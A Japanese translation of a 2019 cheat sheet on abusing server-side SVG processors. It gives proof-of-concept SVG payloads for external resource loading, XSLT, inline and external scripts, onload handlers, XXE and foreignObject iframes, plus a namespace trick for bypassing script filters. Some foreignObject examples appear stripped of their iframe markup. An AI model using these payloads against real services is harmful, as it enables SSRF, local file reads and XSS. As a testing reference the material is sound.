
サーバーサイドSVGプロセッサを悪用するためのチートシート。
SVG を処理するホストは、SVG の豊富な機能セットにより、SSRF、LFI、XSS、RCE に対して脆弱になる可能性があります。
これらの方法はすべて URI を指定します。URI は絶対パスまたは相対パスにすることができます。file プロトコルと HTTP プロトコルはテストが重要ですが、実装によっては他のプロトコル(例: PHP ストリームスキーム)もサポートされる可能性があり、javascript: や data: も含まれます。
このドキュメントには、SVG でこの機能を悪用するために私が知っているすべての方法のリストが記載されています。
SVG を入力形式として受け付けないと主張する一部のサービスでも、少し工夫すれば実際には受け付ける場合があることに注意してください。
file コマンドには SVG マジックが含まれていないため、おそらく個々の実装次第です。SVG は <image> タグを使用して外部画像を直接含めることができます。
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
これを使用して 他の SVG 画像も含めることができることに注意してください。
<use> タグSVG は <use> タグを使用して外部の SVG コンテンツを含めることができます。
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG は HTML と同様に、<link> タグを使用して外部スタイルシートを含めることができます。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include による CSS スタイルシート<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?> による CSS スタイルシート<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
SVG は <?xml-stylesheet?> を使用して XSLT スタイルシートを含めることができます。驚くべきことに、これは Chrome で機能するようです。
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
注: XSLT の性質上、xml-stylesheet が無視される場合、入力は実際には有効な SVG ファイルである 必要はありません が、フィルターをバイパスするのに役立ちます。
また、私は XSLT を学習するつもりがないため、このテンプレートは「古い」画像全体を新しいものに丸ごと置き換えるだけです。
SVG は HTML と同様に、インライン JavaScript をネイティブに含めることができます。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG は外部スクリプトを含めることもできます。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG には、onload で実行されるインラインイベントハンドラーを設定することもできます。
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
アニメーションやその他の一部のイベントにハンドラーをバインドすることもできます。SVG 仕様を参照してください。
SVG は XML であるため、XXE を持つこともできます:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject><foreignObject> タグは驚異的です。SVG 内に任意の (X)HTML を含めるために使用できます。
たとえば、iframe を含める場合:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
ネットワークアクセスがない場合(例: サンドボックス)は、iframe のターゲットとして data URI または javascript URI を置くことができます:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
SVG をまだ十分に使っていない場合は、<object> タグや <embed> タグを使用してさらに多くの SVG を含めることもできます。おそらく理論的には Flash もそこに配置できると思います。
また、異なる XML 名前空間にいるため、svg:script のみを除去する処理は html:script(または属性についても同様)を除去していない可能性があることにも注意してください。
外部フォントを含めることも可能です。CSS 経由とネイティブ属性経由の両方で可能だと思います。ただし、ウェブフォントは CORS を必要とするため、これは実際にはあまり役に立ちません。その理由は、ホットリンクを防ぐためのフォントリソースの DRM に関連していると理解していますが、完全には理解できていません。とはいえ、フォントエンジンの脆弱性が存在することもあると思います。
SVG 仕様からのこの例は、tref ノードを使用して URI でテキストを参照する方法を示していますが、私が試したどのビューアーでも機能しないようです。これをサポートする実装がある場合、tref 内の href に外部 URI もサポートしている可能性があります。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
他の方法や関連情報・例をご存知の場合は、お気軽に issue/PR を開いてください。
これが役立ったと思われた場合は、お知らせいただけると嬉しいです! とても励みになります。
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: